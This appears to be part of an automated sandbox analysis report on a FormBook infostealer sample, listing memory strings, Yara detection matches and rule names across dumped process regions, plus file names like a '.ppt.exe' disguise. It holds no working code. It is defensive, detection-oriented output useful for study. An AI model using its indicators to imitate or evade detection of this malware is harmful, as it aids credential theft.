              Source: explorer.exe, 00000011.00000000.2331902622.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4583168633.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2979251014.00000000099AB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/e
              Source: explorer.exe, 00000011.00000003.2980892639.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4587304622.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.3076566560.000000000C086000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.comM
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: https://www.autoitscript.com/autoit3/
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: https://www.globalsign.com/repository/0
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed

              E-Banking Fraud

              barindex
              Yara detected FormBook
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
